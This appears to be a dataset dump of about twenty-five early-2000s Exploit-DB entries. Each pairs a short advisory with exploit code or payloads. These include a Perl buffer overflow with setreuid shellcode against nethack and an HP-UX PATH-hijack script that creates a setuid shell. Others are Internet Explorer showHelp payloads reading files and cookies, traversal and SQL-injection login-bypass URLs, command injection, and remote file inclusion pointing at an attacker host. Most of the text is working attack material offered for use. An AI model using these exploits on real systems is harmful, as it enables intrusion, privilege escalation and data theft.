QLWD/code_shield huggingface dataset:
标题: Nethack 3 - Local Buffer Overflow (3) EDB-ID: 22235 CVE: 2003-0358 类型: LOCAL 平台: LINUX 发布日期: 2003-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/6806/info
 
By passing an overly large string when invoking nethack, it is possible to corrupt memory.
 
By exploiting this issue it may be possible for an attacker to overwrite values in sensitive areas of memory, resulting in the execution of arbitrary attacker-supplied code. As nethack may be installed setgid 'games' on various systems this may allow an attacker to gain elevated privileges.
 
slashem, jnethack and falconseye are also prone to this vulnerability.

#!/usr/bin/perl -w
#
# tsao@efnet #!IC@efnet 2k3
# thnx to aleph1 for execve shellcode
# davidicke for setreuid() shellcode


$sc .= "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31\xc0\xb0\x46\xcd\x80\x31\xdb";
$sc .= "\x31\xc9\xb3\x0c\xb1\x0c\x31\xc0\xb0\x46\xcd\x80\xeb\x24\x5e\x8d\x1e\x89\x5e";
$sc .= "\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12";
$sc .= "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff\x2f\x62";
$sc .=  "\x69\x6e\x2f\x73\x68\x01";

for ($i = 0; $i < (224 - (length($sc)) - 4); $i++) {
    $buf .= "\x90";
}

$buf .= $sc;
$buf .= "\xd2\xf8\xff\xbf";

exec("/usr/games/lib/nethackdir/nethack -s '$buf'"); URL: https://www.exploit-db.com/exploits/22235
标题: HP-UX 10.x - rs.F3000 Unauthorized Access EDB-ID: 22248 CVE: 2003-1358 类型: LOCAL 平台: HP-UX 发布日期: 2003-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/6837/info

The rs.F3000 binary is prone to an issue that may allow attackers to obtain unauthorized access to a vulnerable system. A denial of service attack is also possible. This is due to multiple instances of the system() function being used in an unsafe manner.

#!/bin/sh
## copyright LAST STAGE OF DELIRIUM may 2002 poland            *://lsd-pl.net/ #
## /usr/lib/X11/Xserver/ucode/screens/hp/rs.F3000                              #

echo "copyright LAST STAGE OF DELIRIUM may 2002 poland  //lsd-pl.net/"
echo "/usr/lib/X11/Xserver/ucode/screens/hp/rs.F3000 for HP-UX 10.20 700/800"

cat > /tmp/rm << 'EOF'
    /usr/bin/cp /bin/sh /tmp/sh
    /usr/bin/chown daemon /tmp/sh
    /usr/bin/chmod 4755 /tmp/sh
EOF
chmod 755 /tmp/rm

PATH=/tmp:$PATH
export PATH
/usr/lib/X11/Xserver/ucode/screens/hp/rs.F3000
sleep 3
sh URL: https://www.exploit-db.com/exploits/22248
标题: Microsoft Windows NT/2000 - 'cmd.exe' CD Buffer Overflow (PoC) EDB-ID: 22245 CVE: 2003-1407 类型: DOS 平台: WINDOWS 发布日期: 2003-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/6829/info

The Windows NT and 2000 command prompt (cmd.exe) does not properly handle paths containing more than 256 characters. If the cd (change directory) command is used to change to a subdirectory resulting in a path with more than 256 characters, a buffer is overrun. This could lead to cmd.exe failing with the possibility of code execution on Windows NT 4.0 systems. Automated scripts that traverse and preform operations on arbitrary directories are particularly vulnerable.

On Windows 2000 systems, cmd.exe will become 'jailed' in the directory. 

@echo off
SET A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
SET B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
mkdir \\?\c:\%A%
mkdir \\?\c:\%A%\%A%
mkdir \\?\c:\%A%\%B%c:
cd cd AAAAAAAAAAAA*
cd AAAAAAAAAAAA*
cd BBBBBBBBBBBB*
cd .. URL: https://www.exploit-db.com/exploits/22245
标题: Cedric Email Reader 0.4 - Global Configuration Script Remote File Inclusion EDB-ID: 22242 CVE: 2003-1411 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/6820/info

It has been reported that Cedric Email Reader is prone to an issue that may allow remote attackers to include malicious files located on remote servers. This issue is present in the 'emailreader_execute_on_each_page.inc.php' script.

Under some circumstances, it is possible for remote attackers to influence the include path for a configuration file to point to an external file on a remote server.

If the remote file is a malicious PHP script, this may be exploited to execute arbitrary system commands in the context of the web server.

It has also been reported that it is possible to cause local files to be included, resulting in disclosure of webserver readable files to the attacker. This has not been confirmed.

http://[target]/webmail/lib/emailreader_execute_on_each_page.inc.php?emailreader_ini=http://[attacker]/code.php URL: https://www.exploit-db.com/exploits/22242
标题: Opera 6.0/7.0 - 'Username' URI Warning Dialog Buffer Overflow EDB-ID: 22239 CVE: 2003-1387 类型: DOS 平台: WINDOWS 发布日期: 2003-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/6811/info

The Opera browser for Win32 (and possibly other) systems is prone to a remotely exploitable buffer overflow condition. For security purposes, Opera will display a warning any time a user of the client visits a link containing a username as part of the URI. An excessively long username will trigger a buffer overflow condition related to this security feature that may overwrite the stack frame of the affected function. Attackers may exploit this vulnerability to execute instructions on client systems. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22239.tgz URL: https://www.exploit-db.com/exploits/22239
标题: HPUX 10.20/11 Wall Message - Local Buffer Overflow EDB-ID: 22231 CVE: 2003-1375 类型: LOCAL 平台: HP-UX 发布日期: 2003-02-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/6800/info

It has been reported that the HPUX wall executable may be prone to a buffer overflow condition. This buffer overflow is alleged to be triggered when an excessive amount of data is redirected into wall as a message intended to be broadcast.

It may be possible for remote attackers to corrupt sensitive regions of memory with attacker-supplied values, possibly resulting in execution of arbitrary code.

perl -e 'print "A" x 9000' > /tmp/out
/usr/sbin/wall /tmp/out URL: https://www.exploit-db.com/exploits/22231
标题: TOPO 1.41 - Full Path Disclosure EDB-ID: 22222 CVE: 2003-1409 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/6768/info

It has been reported that TOPo may return information to users that is sensitive in nature. Under some circumstances, it is possible to produce an error message that reveals information about web directory structure. This could result in more organized attack against system resources.

http://www.example.com/[top_path]/in.php?
http://www.example.com/[top_path]/out.php?
http://www.example.com/[top_path]/in.php?id=any_word
http://www.example.com/[top_path]/out.php?id=any_word
http://www.example.com/[top_path]/in.php?any_word
http://www.example.com/[top_path]/out.php?any_word URL: https://www.exploit-db.com/exploits/22222
标题: Microsoft Windows XP - Redirector Privilege Escalation EDB-ID: 22225 CVE: 2003-0004 类型: LOCAL 平台: WINDOWS 发布日期: 2003-02-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/6778/info

The Microsoft Windows XP Redirector does not properly handle certain parameters that are passed to it. If one of these parameters was unusually long, a buffer could be overrun, resulting in either Windows XP crashing or code execution with elevated privileges.

c:\> net use \\AAAA...AAA\A URL: https://www.exploit-db.com/exploits/22225
标题: Microsoft Internet Explorer 5 - ShowHelp Arbitrary Command Execution EDB-ID: 22226 CVE: 2003-1328 类型: REMOTE 平台: WINDOWS 发布日期: 2003-02-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/6780/info

Microsoft Internet Explorer implements the showHelp() function as a means of displaying help content contained in HTML pages. However, this function is capable of performing too many other actions outside of its intended functionality through pluggable protocols. These actions could include reading files and executing commands on the vulnerable system.

Exploit 1:

// Sandblad advisory #11 - Read your google cookie
showHelp("file:");showHelp("http://www.google.com/");
showHelp("javascript:alert(document.cookie)");

Exploit 2:

// Sandblad advisory #11 - Read the file c:\test.txt
showHelp("file:");showHelp("res://shdoclc.dll/about.dlg");
showHelp("javascript:try{c=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){c=new ActiveXObject('Microsoft.XMLHTTP')};c.open('GET','file://c:/test.txt',false);c.send(null);alert(c.responseText)");

Exploit 3:

// Sandblad advisory #11 - Read the file c:\test.txt
showHelp("file:");showHelp("file://c:/test.txt");
showHelp("javascript:alert(document.body.innerText)");

Exploit 4:

// Sandblad advisory #11 - Run the very nice game Winmine
showHelp("file:");showHelp("iexplore.chm");showHelp("res:");
showHelp("javascript:location='mk:@MSITStore:C:'");
showHelp("javascript:document.write('<object id=c classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\\u003E<param name=Command value=ShortCut\\u003E\<param name=Item1 value=,winmine,\\u003E</object\\u003E');c.Click();"); URL: https://www.exploit-db.com/exploits/22226
标题: Microsoft Windows XP - HCP URI Buffer Overflow EDB-ID: 22232 CVE: 2001-0909 类型: DOS 平台: WINDOWS 发布日期: 2001-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/6802/info

A buffer overrun vulnerability was reported for helpctr.exe. The vulnerability exists due to insufficient bounds checking on input supplied via the HCP URI parameter. 

An attacker can exploit this vulnerability by making a HCP request with an overly long string. This will trigger the overflow condition and may result in malicious attacker-supplied code being executed on the vulnerable system.

hcp://m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.
m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.
m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.
m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m URL: https://www.exploit-db.com/exploits/22232
标题: FileSeek - CGI Script File Disclosure EDB-ID: 22228 CVE: 2002-0611 类型: WEBAPPS 平台: CGI 发布日期: 2002-04-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/6784/info

FileSeek is an example cgi-script from "The CGI/Perl Cookbook from John Wiley &
Sons". The script is written and maintained by Craig Patchett. It is mainly used to find and download files on a web server.

FileSeek.cgi and FileSeek2.cgi are prone to a file disclosure vulnerability. It is possible for a remote attacker to submit a maliciously crafted web request which is capable of breaking out of the wwwroot directory and browsing arbitrary web-readable files on a host running the vulnerable script.

http://host/cgi-bin/FileSeek.cgi?head=&foot=....//....//....//....//....
//....//....//etc/passwd
http://host/cgi-bin/FileSeek.cgi?head=....//....//....//....//....//....
//....//etc/passwd&foot= URL: https://www.exploit-db.com/exploits/22228
标题: ByteCatcher FTP Client 1.0.4 - 'Server Banner' Buffer Overflow EDB-ID: 22220 CVE: 2003-1369 类型: DOS 平台: WINDOWS 发布日期: 2003-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/6762/info

It has been reported that ByteCatcher FTP client may be prone to a buffer overflow condition. This issue is due to the client not implementing bounds checking on banner data copied into local memory buffers.

It may be possible for remote attackers to corrupt sensitive regions of memory with attacker-supplied values, possibly resulting in execution of arbitrary code.

#!/usr/bin/perl
######################################################
#
# Affected systems:
# 32bit FTP Client version p9.49.01
# ByteCatcher FTP Client V1.04b
# Possible many other clients, got this problem to
#
# http://www.infowarfare.dk
#
# Dennis Rand - Matrix@infowarfare.dk
#
# When FTP client connects to this server they will CRASH
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#
#
#
#
#######################################################
use IO::Socket;
$port = "21";
$data = "a";
$num = "4096";
$buf .= $data x $num;
$server = IO::Socket::INET->new(LocalPort => $port, Type => SOCK_STREAM, Reuse
=> 1, Listen => 2)
or die "Couldn't create tcp-server.\n";
while ($client = $server->accept()) {
print "Client connected.\n";
print "Attacking...";
print $client "$buf";
print "OK\n";
close($client);
} URL: https://www.exploit-db.com/exploits/22220
标题: Epic Games Unreal Engine 436 - Client Unreal URL Denial of Service EDB-ID: 22223 CVE: 2003-1431 类型: DOS 平台: MULTIPLE 发布日期: 2003-02-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/6774/info

t has been reported that a memory corruption bug exists in games based on the Unreal Engine. Under some circumstances, when the game client connects to a server using a excessive length Unreal URL it may be possible for the malformed URL to write over sensitive areas of stack memory causing the client to crash.

unreal://(261 chars)[EIP_byte2][EIP_byte1]
unreal://(258 chars) URL: https://www.exploit-db.com/exploits/22223
标题: FileSeek CGI Script - Remote Command Execution EDB-ID: 22227 CVE: 2002-0612 类型: WEBAPPS 平台: CGI 发布日期: 2002-04-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/6783/info

FileSeek is an example cgi-script from "The CGI/Perl Cookbook from John Wiley &
Sons". The script is written and maintained by Craig Patchett. It is mainly used to find and download files on a web server.

It has been reported that FileSeek.cgi and FileSeek2.cgi do not filter shell metacharacters from web requests. As a result, it is possible for a remote attacker to execute commands on the shell of a host running the vulnerable script. Commands will be executed with the privileges of the webserver process.

This impact of this vulnerability is that an attacker may gain local, interactive access to the host.

http://www.example.com/cgi-bin/FileSeek.cgi?head=&foot=;id|
http://www.example.com/cgi-bin/FileSeek.cgi?head=;id|&foot=

http://www.example.com/cgi-bin/FileSeek.cgi?head=&foot=|id|
http://www.example.com/cgi-bin/FileSeek.cgi?head=|id|&foot= URL: https://www.exploit-db.com/exploits/22227
标题: Epic Games Unreal Engine 436 - URL Directory Traversal EDB-ID: 22224 CVE: 2003-1430 类型: REMOTE 平台: MULTIPLE 发布日期: 2003-02-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/6775/info

It has been reported that a directory traversal vulnerability exists in several games using some versions of the Unreal Engine.

It is possible for attackers to traverse outside of the game's installation directory using directory traversal sequences.

If the attacker refers to specific files it may be possible to cause the vulnerable game client to crash.

unreal://\directory\file
unreal://..\..\directory\file URL: https://www.exploit-db.com/exploits/22224
标题: Electrasoft 32Bit FTP 9.49.1 - Client Long Server Banner Buffer Overflow EDB-ID: 22221 CVE: 2003-1368 类型: DOS 平台: WINDOWS 发布日期: 2003-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/6764/info

It has been reported that Electrasoft 32Bit FTP client may be prone to a buffer overflow condition. This issue is due to the client not implementing bounds checking on banner data copied into local memory buffers.

It may be possible for remote attackers to corrupt sensitive regions of memory with attacker-supplied values, possibly resulting in execution of arbitrary code.

#!/usr/bin/perl
######################################################
#
# Affected systems:
# 32bit FTP Client version p9.49.01
# ByteCatcher FTP Client V1.04b
# Possible many other clients, got this problem to
#
# http://www.infowarfare.dk
#
# Dennis Rand - Matrix@infowarfare.dk
#
# When FTP client connects to this server they will CRASH
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#
#
#
#
#######################################################
use IO::Socket;
$port = "21";
$data = "a";
$num = "4096";
$buf .= $data x $num;
$server = IO::Socket::INET->new(LocalPort => $port, Type => SOCK_STREAM, Reuse
=> 1, Listen => 2)
or die "Couldn't create tcp-server.\n";
while ($client = $server->accept()) {
print "Client connected.\n";
print "Attacking...";
print $client "$buf";
print "OK\n";
close($client);
} URL: https://www.exploit-db.com/exploits/22221
标题: Apache Tomcat 3.x - Null Byte Directory / File Disclosure EDB-ID: 22205 CVE: 2003-0042 类型: REMOTE 平台: LINUX 发布日期: 2003-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/6721/info

Apache Tomcat is prone to a directory/file disclosure vulnerability when used with JDK 1.3.1 or earlier.

It has been reported that remote attackers may view directory contents (even when an 'index.html' or other welcome file). It is also possible for remote attackers to disclose the contents of files.

This vulnerability is due to improper handling of null bytes (%00) and backslash ('\') characters in requests for web resources.

GET /<null byte>.jsp HTTP/1.0
$ perl -e 'print "GET /\x00.jsp HTTP/1.0\r\n\r\n";' | nc my.server 8080
$ perl -e 'print "GET /admin/WEB-INF\\classes/ContextAdmin.java\x00.jsp HTTP/1.0\r\n\r\n";'|nc my.server 8080
$ perl -e 'print "GET /examples/jsp/cal/cal1.jsp\x00.html HTTP/1.0\r\n\r\n";'|nc my.server 8080 URL: https://www.exploit-db.com/exploits/22205
标题: PHP-Nuke 5.x/6.0 - Avatar HTML Injection EDB-ID: 22211 CVE: 2003-1400 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/6750/info

A problem with PHP-Nuke could allow remote users to execute arbitrary code in the context of the web site. The problem is in the lack of sanitization of some types of input.

PHP-Nuke does not sanitize code submitted to a site from the avatar select box. Due to this, a malicious user may be able to submit embedded code from their profile page instead of an avatar. This would result in code being executed in the location where a user's avatar should normally display. This code would be executed by a victim user's browser in the context of the site.

<!-- START CODE --!>
<form name="Register"
action="http://NUKEDSITE/modules.php?name=Your_Account" method="post">

<b>Code ('">[code]<b ')</b><input type="text" name="user_avatar" size="30"
maxlength="30"><br><br>

<b>Username</b><input type="text" name="uname" size="30"
maxlength="255"><br><b>User ID:<input type="text" name="uid"
size="30"><input type="hidden" name="op" value="saveuser"><input
type="submit" value="Save Changes"></form>
<!-- END CODE --!>


To modify other users avatar information:

Search for "saveuser" you should get to a function that looks like this..

function saveuser($uid, $realname, $uname, $email, etc...

right underneath the function call, put this in..

$referer = getenv("HTTP_REFERER");
$nukeurl="http://digital-delusions.com";
$nukeurl2="http://digital-delusions.dyn.ee";
$nukeurl3="http://192.168.0.254";
if (substr("$referer",0,strlen($nukeurl))==$nukeurl OR
substr("$referer",0,strlen($nukeurl2))==$nukeurl2 OR
substr("$referer",0,strlen($nukeurl3))==$nukeurl3) {

make sure u change my URLs to your site's urls.

[ ... ]

Header("Location: modules.php?name=$module_name");
}
}
}

before the last "}" paste this..

} else {
echo "delusion ownz j00";
} URL: https://www.exploit-db.com/exploits/22211
标题: PHPMyShop 1.0 - 'compte.php' SQL Injection EDB-ID: 22209 CVE: 2003-1532 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/6746/info

phpMyShop, in some cases, does not sufficiently sanitize user-supplied input which is used when constructing SQL queries. As a result, attackers may supply malicious parameters to manipulate the structure and logic of SQL queries. 

This vulnerability was reported to exist in the compte.php script file. A remote attacker can exploit this vulnerability to bypass the phpMyShop authentication/registration process.

http://[target]/compte.php?achat=1&valider=1&identifiant='%20OR%20''='&password='%20OR%20''=' URL: https://www.exploit-db.com/exploits/22209
标题: OpenBSD 2.x/3.x - CHPass Temporary File Link File Content Revealing EDB-ID: 22210 CVE: 2003-1366 类型: LOCAL 平台: OPENBSD 发布日期: 2003-02-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/6748/info

It has been reported that a problem with chpass included with OpenBSD may allow local users to gain access to the content of specific files. This vulnerability requires that lines in the target file be constructed in a specific format. This problem also affects the chfn and chsh programs which are hard links to the chpass binary.

# echo "shell: secret_data" >/tmp/sec
# chmod 600 /tmp/sec
$ chpass # ^Z in the editor
[1]+ Stopped chpass
$ rm /var/tmp/pw.Loi22925
$ ln /tmp/sec /var/tmp/pw.Loi22925
$ fg # then quit the editor
chpass
chpass: secret_data: non-standard shell URL: https://www.exploit-db.com/exploits/22210
标题: Nukebrowser 2.x - Remote File Inclusion EDB-ID: 22206 CVE: 2003-1436 类型: WEBAPPS 平台: PHP 发布日期: 2003-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/6731/info

Nukebrowser is prone to an issue which may allow remote attackers to include files located on remote servers. This issue is present in the nukebrowser.php script file.

Under some circumstances, it is possible for remote attackers to influence the include path for 'cmd.txt' to point to an external file on a remote server by manipulating some URI parameters.

http://[victim]/nukebrowser.php?filnavn=http://www.site.com&filhead=http://[web hosting]/cmd.txt&cmd=id URL: https://www.exploit-db.com/exploits/22206
标题: Sun Solaris 2.5/2.6/7.0/8/9 AT Command - Arbitrary File Deletion EDB-ID: 22203 CVE: 2003-1073 类型: LOCAL 平台: SOLARIS 发布日期: 2003-01-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/6692//info

The at utility shipped with Sun Solaris may be prone to an issue which may allow attackers to delete arbitrary files on the system.

The vulnerability occurs when using at with the '-r' option. This option is used to remove previously scheduled at jobs. The vulnerability exists because at does not properly sanitize parameters submitted as part of the -r commandline option.

A local attacker can cause at to delete arbitrary files on the system.

/usr/bin/at -r ../../../../tmp/foo URL: https://www.exploit-db.com/exploits/22203
标题: MultiHTML 1.5 - File Disclosure EDB-ID: 22204 CVE: 2000-0912 类型: WEBAPPS 平台: CGI 发布日期: 2000-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/6711/info

MultiHTML is prone to a file disclosure vulnerability.

It is possible for remote attackers to issue requests which are capable of disclosing sensitive webserver readable resources on the system hosting the software.

http://www.example.com/cgi-bin/multihtml.pl?multi=/etc/passwd%00html URL: https://www.exploit-db.com/exploits/22204
标题: CVS 1.11.x - Directory Request Double-Free Heap Corruption EDB-ID: 22187 CVE: 2003-0015 类型: REMOTE 平台: LINUX 发布日期: 2003-01-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/6650/info

CVS is prone to a double free vulnerability in the Directory requests. An attacker may potentially take advantage of this issue to cause heap memory to be corrupted with attacker-supplied values, which may result in execution of arbitrary code.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22187.tar.gz URL: https://www.exploit-db.com/exploits/22187